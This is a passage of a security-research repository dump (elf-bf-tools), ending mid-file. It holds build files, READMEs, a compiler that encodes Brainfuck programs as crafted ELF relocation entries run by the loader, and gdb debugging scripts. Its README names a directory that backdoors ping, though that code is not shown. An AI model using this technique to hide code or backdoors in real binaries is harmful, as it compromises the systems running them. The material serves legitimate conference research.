├── CMakeLists.txt ├── LICENSE ├── README ├── demo ├── CMakeLists.txt └── demo.c ├── elf_bf_compiler ├── CMakeLists.txt ├── README ├── compile_demo.sh ├── compile_demo_gdb.sh └── elf_bf_compiler.c ├── elf_bf_debug ├── README ├── debug_rtld_exec-rand.sh ├── debug_rtld_exec.sh ├── elfbfgdb.py └── setup.sh ├── libelf_bf ├── CMakeLists.txt ├── elf_bf_debug_config.c ├── elf_bf_debug_config.h ├── elf_bf_link_map.c ├── elf_bf_link_map.h ├── elf_bf_ops.c ├── elf_bf_ops.h ├── elf_bf_utils.c ├── elf_bf_utils.h ├── elf_reloc_utils.c ├── elf_reloc_utils.h ├── reloc.c ├── reloc.h ├── symtab.c └── symtab.h ├── ping_backdoor ├── CMakeLists.txt ├── README ├── backdoor.sh ├── build_backdoor.sh ├── ping_backdoor.c ├── setuidify.sh └── setup.sh └── syscall ├── getchar ├── CMakeLists.txt ├── getchar.c └── getchar.sh └── putchar ├── CMakeLists.txt ├── putchar.c └── putchar.sh /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2 | # 3 | # Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | # The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 8 | 9 | cmake_minimum_required(VERSION 2.6) 10 | project(elf-bf-tools) 11 | 12 | #set (elf-bf-tools_VERSION_MAJOR 1) 13 | #set (elf-bf-tools_VERSION_MINOR 0) 14 | 15 | 16 | 17 | set(CMAKE_C_FLAGS "-g -Wall -I /usr/local/libelfsh/include -DERESI64 -I /usr/local/libaspect/include -I /usr/local/libasm/include") 18 | 19 | set(ELFBF_LIBS elf_bf elfsh64 aspect64 asm64) 20 | add_subdirectory(libelf_bf) 21 | add_subdirectory(elf_bf_compiler) 22 | add_subdirectory(ping_backdoor) 23 | add_subdirectory(syscall/getchar) 24 | add_subdirectory(syscall/putchar) 25 | add_subdirectory(demo) 26 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | OVERVIEW 2 | This project contains tools that can be used to coarse the gcc's runtime loader 3 | into performing interesting operations using only valid relocation entries and 4 | symbols. 5 | 6 | Slides from our DEFCON 20 talk can be found here: 7 | http://www.cs.dartmouth.edu/~bx/elf-bf-tools/slides/elf-defcon20.pdf 8 | 9 | Slides from our BerlinSides0x3 talk can be found here: 10 | http://www.cs.dartmouth.edu/~bx/elf-bf-tools/slides/ELF-berlinsides-0x3.pdf 11 | 12 | Slides from our 29C3 talk can be found here: 13 | http://www.cs.dartmouth.edu/~bx/elf-bf-tools/slides/ELF-29c3.pdf 14 | 15 | Slides from our USENIX WOOT 2013 talk can be found here: 16 | http://www.cs.dartmouth.edu/~bx/elf-bf-tools/slides/ELF-WOOT-2013.pdf 17 | 18 | 19 | directories: 20 | libelf_bf/ contains files that make up the library 21 | elf_bf_compiler/ implementation for Brainfuck to ELF compiler 22 | elf_bf_debug/ contains useful scripts for debugging the runtime loading process 23 | as it processes relocation entries 24 | ping_backdoor/ contains code that uses relocation entries to build a backdoor 25 | into ping 26 | demo/ contains a simple c program to play with 27 | 28 | 29 | BUILDING 30 | 31 | These instructions are written for Ubuntu 11.10 x86_64. If you are running a 32 | different version of Ubuntu, you should setup a 64bit Oneiric chroot 33 | environment. See https://help.ubuntu.com/community/DebootstrapChroot 34 | for for information. If you are not running 64-bit Ubuntu, best of luck. 35 | At the very least you will need a amd64 system using eglibc 2.13. 36 | 37 | 38 | Required apt packages: build-essential, subversion, libssl-dev, cmake 39 | 40 | You will need to install eresi from source, which can be found at 41 | http://www.eresi-project.org/ 42 | Their code can be checked out using: 43 | $> svn checkout http://svn.eresi-project.org/svn/trunk/ eresi 44 | 45 | build eresi as follows; 46 | ./configure --prefix /usr/local --enable-64 47 | make 48 | sudo make install install64 49 | (If install fails with "chmod: cannot operate on dangling symlink `/usr/local//lib/libelfsh.so', don't worry. Just move on) 50 | 51 | To build elf-bf-tools, in the elf-bf-tools directory 52 | cmake . 53 | make 54 | 55 | ..and that's it 56 | 57 | Thanks for reading, be sure to visit the README files located in 58 | elf_bf_compiler, elf_bf_debug, and ping_backdoor if you end up working with the 59 | code there. 60 | 61 | -------------------------------------------------------------------------------- /demo/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | # Copyright (c) 2012 Rebecca (bx) Shapiro 3 | 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | 11 | # The above copyright notice and this permission notice shall be included in all 12 | # copies or substantial portions of the Software. 13 | 14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | # SOFTWARE. 21 | 22 | set(GLIBC "${CMAKE_SOURCE_DIR}/elf_bf_debug/eglibc/root") 23 | 24 | if (EXISTS "${GLIBC}/lib/ld-2.13.so") 25 | set(CMAKE_C_FLAGS "-g -Wall -Wl,--dynamic-linker=${GLIBC}/lib/ld-2.13.so -Wl,-R${GLIBC}/lib -L${GLIBC}/lib -I${GLIBC}/include ") 26 | else(EXISTS "${GLIBC}/lib/ld-2.13.so") 27 | set(CMAKE_C_FLAGS "-g -Wall") 28 | endif(EXISTS "${GLIBC}/lib/ld-2.13.so") 29 | 30 | add_executable(demo demo.c) 31 | -------------------------------------------------------------------------------- /demo/demo.c: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | 22 | #include 23 | #include 24 | 25 | int main( int argc, char **argv ) { 26 | printf("BYE!\n"); 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /elf_bf_compiler/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | # Copyright (c) 2012 Rebecca (bx) Shapiro 3 | 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | 11 | # The above copyright notice and this permission notice shall be included in all 12 | # copies or substantial portions of the Software. 13 | 14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | # SOFTWARE. 21 | 22 | include_directories(${elf-bf-tools_SOURCE_DIR}/libelf_bf) 23 | 24 | add_executable(elf_bf_compiler elf_bf_compiler.c) 25 | 26 | link_directories(/usr/local/lib) 27 | target_link_libraries(elf_bf_compiler ${ELFBF_LIBS}) 28 | -------------------------------------------------------------------------------- /elf_bf_compiler/README: -------------------------------------------------------------------------------- 1 | This is the README for the elf_bf_compiler directory. 2 | 3 | 4 | This directory contains source code for the brainfuck to ELF metadata 5 | compiler. The README in the parent directory contains build instructions. 6 | 7 | _Getting Started_ 8 | -compile_demo.sh 9 | compile_demo.sh will help you get started with the bf to ELF metadata compiler. 10 | 1. Be sure ../demo/demo has been build 11 | 2. Create a file containing brainfuck source. We will assume you called it test.bf 12 | 3. Run ./compile_demo.sh test.bf 13 | 4. Now ./demo contains the crafted metadata to execute the instructions in test.bf 14 | 15 | -compile_demo_gdb.sh is the same as compile_demo.sh except it invokes the compiler inside gdb for debugging. 16 | 17 | _More advanced BF Compilation_ 18 | -elf_bf_compiler 19 | Once you build elf_bf_compiler you will allow you to compile brainfuck source into arbitrary executables. 20 | 21 | USAGE: 22 | 23 | ./elf_bf_compiler 24 | - the defaults offsets consistently work with our setup, you may need to tweak them to get them working with your libraries. 25 | - if any offset is provided, all offsets must be provided 26 | - : &end - _dl_auxv, you can find &end and _dl_auxv by running a binary in gdb using elf_bf_debug/debug_rtld_exec.sh. Once it starts running, it will break at do-rel.h:117. At this point you can print &end. If you go up in the call stack 3 times (via the up command), you will be at dl-sysdep.c:244. At this point you can print _dl_auxv. Please note that the offset of &end from _dl_auxv may be different when a binary is being run outside of gdb. If this is a case, metadata that implements branches may cause a segfault and you can inspect the coredump with gdb to get the values of &end and _dl_auxv for binaries running outside gdb. 27 | - Our brainfuck implementation supports one extra instruction: X 28 | - X is the exit instruction. Make it the last instruction in your brainfuck source code to ensure the executable's original metadata is processed so that the executable hosting the compiled brainfuck code can cleanly execute. 29 | NOTES: 30 | - if elf_bf_compiler expects its executable will be run in a debugger (if debug config name is specified), it needs to set things up differently (the stack layout differs) 31 | - elf_bf_compiler assumes that your executable uses the same basic set of libraries as demo. There is no way for a user to easily adjust this yet. 32 | 33 | 34 | 35 | "FUTURE WORK": 36 | - allow the user to configure the compiler to work with a binary that uses more libraries than ../demo/demo uses 37 | - let the compiler figure out the number of libraries that will be loaded for the executable on the fly so everything works automatically 38 | - (maybe) write debugger scripts that automatically determine the offsets we need -------------------------------------------------------------------------------- /elf_bf_compiler/compile_demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright (c) 2012 Rebecca (bx) Shapiro 3 | 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | 11 | # The above copyright notice and this permission notice shall be included in all 12 | # copies or substantial portions of the Software. 13 | 14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | # SOFTWARE. 21 | 22 | # compile_demo.sh is a wrapper script to compile the chosen 23 | # brainfuck source into ../demo/demo's relocation entries, 24 | # saving the version of demo with crafted relocaiton entries into 25 | # ./demo 26 | 27 | ENDOFFSET="-3f8" 28 | TAPELEN="10" 29 | SRC="" 30 | while getopts ":hdl:i:" opt; do 31 | case $opt in 32 | d) 33 | ENDOFFSET="-428" 34 | ;; 35 | l) 36 | TAPELEN=$OPTARG 37 | ;; 38 | i) 39 | SRC=$OPTARG 40 | ;; 41 | \?) 42 | echo "Invalid option: -$OPTARG" >&2 43 | echo "usage: $0 -i [optional: -l -d]\n -d to compile binary to run in GDB" >&2 44 | ;; 45 | h) 46 | echo "usage: $0 -i [optional: -l -d]\n -d to compile binary to run in GDB" >&2 47 | ;; 48 | esac 49 | done 50 | 51 | if [ ! -f "$SRC" ] 52 | then 53 | echo "source file $SRC does not exist\n" >&2 54 | exit 1 55 | else 56 | echo "> $SRC" >&2 57 | fi 58 | 59 | 60 | # find dir script is located in 61 | DIR="$( cd -P "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" 62 | #echo "$DIR/elf_bf_compiler ../demo/demo demo $SRC $TAPELEN demo.debug" 63 | echo "$DIR/elf_bf_compiler ../demo/demo demo $SRC $ENDOFFSET demo.debug $TAPELEN" 64 | $DIR/elf_bf_compiler ../demo/demo demo $SRC $ENDOFFSET demo.debug $TAPELEN 65 | 66 | -------------------------------------------------------------------------------- /elf_bf_compiler/compile_demo_gdb.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright (c) 2012 Rebecca (bx) Shapiro 3 | 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | 11 | # The above copyright notice and this permission notice shall be included in all 12 | # copies or substantial portions of the Software. 13 | 14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | # SOFTWARE. 21 | 22 | # compile_demo_gdb.sh does everything compile_demo.sh does 23 | # while also runing elf_bf_compiler inside gdb to debug 24 | # compilation 25 | 26 | if [ $1 ]; then 27 | SRC=$1 28 | else 29 | echo "usage: $0 [optional: tape length]" 30 | fi 31 | 32 | if [ $2 ]; then 33 | TAPELEN=$2 34 | else 35 | TAPELEN=10 36 | fi 37 | # lookup directory script lives in 38 | DIR="$( cd -P "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" 39 | gdb --args elf_bf_compiler ../demo/demo demo $SRC $TAPELEN demo.debug 40 | -------------------------------------------------------------------------------- /elf_bf_compiler/elf_bf_compiler.c: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | 22 | #include 23 | #include "elf_bf_utils.h" 24 | #include "elf_bf_debug_config.h" 25 | void create_relas(); 26 | 27 | //to make it work with anything, we need to also configure 28 | // the number of hops in the linkmap structure 29 | // to get to exec/ld's link map 30 | int main(int argv, char *argc[]) 31 | { 32 | 33 | if ((argv < 5)){ 34 | fprintf(stderr, "usage: %s \n",argc[0]); 35 | exit(-1); 36 | } 37 | 38 | char *inexec, *outexec, *bf, *config; 39 | unsigned int tapelen = atoi(argc[6]); 40 | int debug; 41 | eresi_Addr ifunc = 0x148dc; 42 | eresi_Addr auxv = 0x21de28; 43 | //eresi_Addr end = -0x408; //or -x428? 44 | //eresi_Addr end = -0x388; //or -x428? 45 | //eresi_Addr end = -0x428; // gdb 46 | eresi_Addr end = -0x3f8; // no gdb 47 | //eresi_Addr end = -0x378; // ddd 48 | inexec = argc[1]; 49 | outexec = argc[2]; 50 | bf = argc[3]; 51 | end = strtol(argc[4], NULL, 16); 52 | 53 | debug = 1; 54 | config = argc[5]; 55 | 56 | 57 | int max = 256; 58 | char libc[max]; 59 | char ld[max]; 60 | lookup_ld_path(inexec, ld, max); 61 | lookup_libc_path(inexec, libc, max); 62 | auxv = dl_auxv_offset(ld); 63 | ifunc = ret0_offset(ld); 64 | elf_bf_env_t e; 65 | elfutils_setup_env(bf, inexec, outexec, libc, tapelen, 66 | ifunc, auxv, end, debug, 67 | &e); 68 | compile_bf_instructions(&e); 69 | elfutils_save_env(&e); 70 | if ( NULL != debug ) { 71 | elf_bf_write_debug(&e, config); 72 | } 73 | 74 | return 0; 75 | } 76 | -------------------------------------------------------------------------------- /elf_bf_debug/README: -------------------------------------------------------------------------------- 1 | BUILD 2 | You will need to build eglibc from scratch in order to use this tool. setup.sh 3 | should do all the work for you, just go ahead and run it. 4 | 5 | Building eglibc requies ~800Mb of free space. 6 | 7 | You must enable source URIs in apt's sources.list for setup.sh to work properly. 8 | 9 | RUNNING 10 | 11 | run debug_rtld_exec.sh to debug the runtime loader as it 12 | runs that executable. It also loads a set of tools that can be used to inspect 13 | a Brainfuck stack. We recommend running debug_rtld_exec.sh from the elf_bf_debug 14 | directory. 15 | 16 | 17 | The following commands are available 18 | 19 | elfbf setup 20 | -This must always be run before any other debugging comand, the debug info file is generated from elf_bf_compiler (the debuf info file is written into the second to last argument when executing elf_bf_compiler) 21 | 22 | elfbf tape 23 | -prints the entire tape 24 | 25 | elfbf tape_range 26 | -prints the values on the tape between indices and 27 | 28 | elfbf tape_value 29 | -prints the value the tape pointer is pointing to 30 | 31 | elfbf tape_value_relative 32 | -prints the value on the tape that is hops away from where the tape pointer is pointing 33 | 34 | elfbf tape_index 35 | -prints the current index in which the tape pointer is ponting 36 | 37 | elfbf source 38 | -prints the bringfuck source 39 | 40 | elfbf current_ins 41 | -prints the intruction and index of instruction that is currently being processed 42 | 43 | elfbf go_to_next_ins: 44 | -processes relocation entries until it reaches entries for the next instruction 45 | 46 | elfbf go_to_next_rel: 47 | -finishes processing the current relocation entry/begins processing the next 48 | 49 | elfbf rel_num 50 | -prints the index of the relocation entry currently being processed 51 | 52 | NOTE: 53 | - debug_rtld_exec-rand.sh is the same as debug_rtld_exec.sh execpt it enables ASLR 54 | -------------------------------------------------------------------------------- /elf_bf_debug/debug_rtld_exec-rand.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | # Copyright (c) 2012 Rebecca (bx) Shapiro 5 | 6 | # Permission is hereby granted, free of charge, to any person obtaining a copy 7 | # of this software and associated documentation files (the "Software"), to deal 8 | # in the Software without restriction, including without limitation the rights 9 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | # copies of the Software, and to permit persons to whom the Software is 11 | # furnished to do so, subject to the following conditions: 12 | 13 | # The above copyright notice and this permission notice shall be included in all 14 | # copies or substantial portions of the Software. 15 | 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | # SOFTWARE. 23 | 24 | # first argument is executable to run 25 | 26 | if [ $# -lt 1 ]; then 27 | echo "Usage: $0 " 28 | exit -1 29 | fi 30 | 31 | ulimit -c unlimited 32 | 33 | DIR=${PWD}/.. 34 | GLIBC=${PWD}/eglibc/eglibc-2.13 35 | echo "set environment C -E -x c-header 36 | python execfile(\"$PWD/elfbfgdb.py\") 37 | break _dl_start 38 | set disable-randomization off 39 | run --library-path $GLIBC:$GLIBC/nptl:$GLIBC/math:$GLIBC/elf:$GLIBC/dlfcn:$GLIBC/nss:$GLIBC/nis:$GLIBC/rt:$GLIBC/resolv:$GLIBC/crypt:$GLIBC/ntlp:$GLIBC/nplp_db $PWD/$1" > temp.gdb 40 | 41 | ${GLIBC}/../root/lib/ld-2.13.so --library-path \ 42 | ${GLIBC}:\ 43 | ${GLIBC}/math:\ 44 | ${GLIBC}/elf:\ 45 | ${GLIBC}/dlfcn:\ 46 | ${GLIBC}/nss:\ 47 | ${GLIBC}/nis:\ 48 | ${GLIBC}/rt:\ 49 | ${GLIBC}/resolv:\ 50 | ${GLIBC}/crypt:\ 51 | ${GLIBC}/nptl:\ 52 | ${GLIBC}/nptl_db:\ 53 | /lib/:\ 54 | /usr/lib/x86_64-linux-gnu/:\ 55 | /lib/x86_64-linux-gnu/:\ 56 | /usr/lib/: \ 57 | /usr/bin/gdd -x ${PWD}/temp.gdb -d ${GLIBC} ${GLIBC}/../build/elf/ld.so 58 | -------------------------------------------------------------------------------- /elf_bf_debug/debug_rtld_exec.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | # Copyright (c) 2012 Rebecca (bx) Shapiro 5 | 6 | # Permission is hereby granted, free of charge, to any person obtaining a copy 7 | # of this software and associated documentation files (the "Software"), to deal 8 | # in the Software without restriction, including without limitation the rights 9 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | # copies of the Software, and to permit persons to whom the Software is 11 | # furnished to do so, subject to the following conditions: 12 | 13 | # The above copyright notice and this permission notice shall be included in all 14 | # copies or substantial portions of the Software. 15 | 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | # SOFTWARE. 23 | 24 | # first argument is executable to run 25 | 26 | if [ $# -lt 1 ]; then 27 | echo "Usage: $0 " 28 | exit -1 29 | fi 30 | 31 | ulimit -c unlimited 32 | 33 | DIR=${PWD}/.. 34 | GLIBC=${PWD}/eglibc/eglibc-2.13 35 | echo "set environment C -E -x c-header 36 | python execfile(\"$PWD/elfbfgdb.py\") 37 | #break do-rel.h:116 38 | #break _dl_start 39 | run --library-path $GLIBC:$GLIBC/nptl:$GLIBC/math:$GLIBC/elf:$GLIBC/dlfcn:$GLIBC/nss:$GLIBC/nis:$GLIBC/rt:$GLIBC/resolv:$GLIBC/crypt:$GLIBC/ntlp:$GLIBC/nplp_db $PWD/$1" > temp.gdb 40 | 41 | ${GLIBC}/../root/lib/ld-2.13.so --library-path \ 42 | ${GLIBC}:\ 43 | ${GLIBC}/math:\ 44 | ${GLIBC}/elf:\ 45 | ${GLIBC}/dlfcn:\ 46 | ${GLIBC}/nss:\ 47 | ${GLIBC}/nis:\ 48 | ${GLIBC}/rt:\ 49 | ${GLIBC}/resolv:\ 50 | ${GLIBC}/crypt:\ 51 | ${GLIBC}/nptl:\ 52 | ${GLIBC}/nptl_db:\ 53 | /lib/:\ 54 | /usr/lib/x86_64-linux-gnu/:\ 55 | /lib/x86_64-linux-gnu/:\ 56 | /usr/lib/: \ 57 | /usr/bin/gdb -x ${PWD}/temp.gdb -d ${GLIBC} ${GLIBC}/../root/lib/ld-2.13.so 58 | -------------------------------------------------------------------------------- /elf_bf_debug/elfbfgdb.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # Copyright (c) 2012 Rebecca (bx) Shapiro 4 | 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | 12 | # The above copyright notice and this permission notice shall be included in all 13 | # copies or substantial portions of the Software. 14 | 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | # SOFTWARE. 22 | 23 | import gdb 24 | 25 | class RelaLoopDoneBreakpoint(gdb.Breakpoint): 26 | 27 | def stop(self): 28 | laddr = int(gdb.execute("print l->l_addr", to_string=True).split()[2]) 29 | if 0 == laddr: 30 | print "(elfbfgdb) Branching..." 31 | return self._dostop and (0 == laddr) 32 | 33 | class ReadCurrentEntry(gdb.Command): 34 | instructions = None 35 | 36 | """Read current entry on tape""" 37 | def __init__(self): 38 | gdb.Command.__init__(self,"elfbf", gdb.COMMAND_DATA) 39 | self.source = None 40 | self.rela_loop_break = gdb.Breakpoint("do-rel.h:117") #at the loop that processes relocation entries 41 | self.rela_loop_break.condition = "map->l_addr==0" 42 | self.rela_proc_break = gdb.Breakpoint("do-rel.h:120") #inside the loop that processes relocation entries 43 | self.rela_proc_break.enabled = False 44 | 